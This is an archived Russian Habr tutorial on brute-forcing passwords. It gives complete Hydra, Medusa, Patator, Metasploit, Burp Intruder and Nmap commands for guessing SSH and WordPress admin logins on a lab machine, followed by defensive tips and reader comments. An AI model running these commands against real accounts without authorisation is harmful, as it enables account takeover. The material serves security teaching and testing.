СоХабр закрыт.

С 13.05.2019 изменения постов больше не отслеживаются, и новые посты не сохраняются.

H Брутфорс. Основы в черновиках Tutorial

Брутфорс (полный перебор) – метод решения математических задач, сложность которого зависит от количества всех возможных решений. Сам же термин brute-force обычно используется в контексте хакерских атак, когда злоумышленник пытается подобрать логин/пароль к какой-либо учетной записи или сервису.

Чтобы усложнить задачу перебора можно использовать следующие методы:
1. Хеширование хранимых паролей;
2. Применение межсетевого экрана;
3. Использование средств, препятствующих быстрой проверке корректности ключа (например, Captcha).

Рассмотрим инструменты, которые можно использовать для выполнения brute-force атак. Для примера возьмем тестовую машину 192.168.60.50 и попробуем подобрать пароль пользователя test по SSH. Мы будем использовать популярные пароли из стандартного словаря rockyou.txt, доступного в Kali Linux и инструментарий: Patator, Medusa, Hydra и Metasploit.

Patator
Для подбора в Patator пароля используем команду:
patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg=’Authentication failed’
где:
ssh_login — необходимый модуль
host – наша цель
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора
password – словарь с паролями
-x ignore:mesg=’Authentication failed’ — команда не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.
image

Hydra.
Для подбора в Hydra используем команду:
hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50
где:
-V – показывать пару логин+пароль во время перебора
-f – остановка как только будет найден пароль для указанного логина
-P – путь до словаря с паролями
ssh://192.168.60.50 – указание сервиса и IP жертвы
image

Medusa.
Для подбора в Medusa пароля используем команду:
medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6
где:
-h – IP жертвы
-u – логин
-P – путь к словарю
-M — выбор модуля
-f – остановка после нахождения валидной пары логин/пароль
-v – настройка отображения сообщений на экране во время процесса подбора
image

Metasploit.
Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login и получили ответ:
image
Задействуем модуль:
use auxiliary/scanner/ssh/ssh_login
Далее командой show options смотрим, какие необходимо указать параметры. Для нас это:
rhosts – IP жертвы
rport – порт
username – логин SSH
userpass_file – путь до словаря
stop_on_success – остановка, как только найдется пара логин/пароль
threads – количество потоков
image
Указание необходимых параметров производится через команду «set».
set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22

Указав необходимые параметры набираем команду run и ждем.
image

Думаю, с brute-force атакой на SSH разобрались. Теперь рассмотрим другой пример — подбор пароля окна авторизации веб-формы.
image
Для примера будем подбирать пароль от учетной записи администратора wordpress.

BurpSuite.
Для начала нам необходимо понять, как происходит процесс авторизации. Для этого мы будем использовать BurpSuite. Нам необходимо попробовать авторизоваться с любым паролем и логином, чтобы посмотреть какие запросы проходят через BurpSuite.
image
Отлично, мы увидели post запрос для авторизации с ним мы и будем работать.
В BODY указано какой логин и пароль проверялись, а значит, мы можем попробовать самостоятельно подставить нужные нам значения.
Передаем этот запрос в Intruder и там выбираем необходимые параметры для атаки. В пункте Payload Positions тип атаки оставляем sniper, но для проверки оставляем только параметр pwd. Таким образом, при атаке будет изменяться только этот параметр.
image
Загружаем необходимый словарь и начинаем атаку.
image
Нам удалось подобрать пароль, исходя из ответов в BurpSuite. Все варианты неверных паролей приходили с кодом 200, а когда пришла очередь проверять наш пароль, то пришел код 302.
image

Данный метод перебора занимает намного больше времени, чем при использовании Patator, Hydra, Medusa и т.д. Даже с учетом того, что мы взяли небольшой словарь, BurpSuite перебирал словарь около 40 минут.

Hydra.
Теперь попробуем подобрать пароль с помощью Hydra.
Как мы уже знаем, при неверной авторизации возвращается код 200, а при успешной – 302. Попробуем использовать эту информацию.
Для запуска используем команду:
hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"
Здесь мы указываем обязательные параметры:
-l – имя пользователя
-P – словарь с паролями
-t – количество потоков
http-post-form – тип формы, у нас post.
/wp-login.php – это URL страницы с авторизацией
^USER^ — показывает куда подставлять имя пользователя
^PASS^ — показывает куда подставлять пароль из словаря
S=302 – указание на какой ответ опираться Hydra. В нашем случае, ответ 302 при успешной авторизации.
image

Patator.
Как мы уже знаем, при неудачной авторизации возвращается код 200, а при удачной – 302. Будем использовать тот же принцип, что и с Hydra:
Запуск производится командой:
patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz – модуль для brute-force атаки http
url – адрес страницы с авторизацией
FILE0 — путь до словаря с паролями
body – информация, которая передается в post запросе при авторизации
-t — количество потоков
-x – В данном случае мы указали команду не выводить на экран сообщения строки, содержащие параметр с кодом 200
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос
Как итог – нам удалось подобрать пароль.
image

Nmap.
Да-да, Nmap умеет и такое, если использовать скрипт http-wordpress-brute с соответствующими аргументами:
--script-args – добавление аргументов
user или userdb – указание логина или файла с логинами
pass или passdb — указание пароля или словаря
thread – количество потоков
firstonly=true – выводить результат после первого же правильного пароля
nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'
image
В данной статье мы рассмотрели лишь некоторые инструменты для брутфорса. Все эти инструменты довольно мощные и в рамках статьи не удалось бы раскрыть весь их потенциал. Однако, хочу заметить, что вероятность подбора правильного подбора зависит от используемого словаря. Поэтому помните про методы, помогающие противодействовать брутфорсу:
1. Создавайте длинные пароли из букв разного регистра, цифр и спецсимволов.
2. Не создавайте пароли, используя личную информацию, например: дату рождения или имя + дата рождения или мобильный телефон.
3. Регулярно меняйте пароль.
4. На всех аккаунтах применяйте уникальные связки логин/пароль.
5. Ограничивать одновременное количестов соединений к порту через iptables.
6. Также, для защиты веб-приложений можно ограничивать количество подключений средствами Nginx.

Пример настройки iptables для ограничения количества подключений с одного IP адреса к SSH серверу до 1 в секунду:
-A FORWARD -i eth0 -p tcp —dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset

комментарии (3)

0
alekssamos ,  
Ещё есть плагин, который ограничивает количество попыток ввода пароля, затем блокирует. Например, Limit Login Attempts Reloaded Limit the rate of login attempts, including by way of cookies and for each IP address. / wpchefgadget
0
sborisov ,   * (был изменён)
+1
BlancLoup ,  
Brute-force и атака полным перебором — это не одно и то же. Да и во всей статье словарный перебор. На практике полный перебор вообще почти не используется.
И не совсем понятно о чем статья. Частичный перевод манов с примером для одного конкретного случая?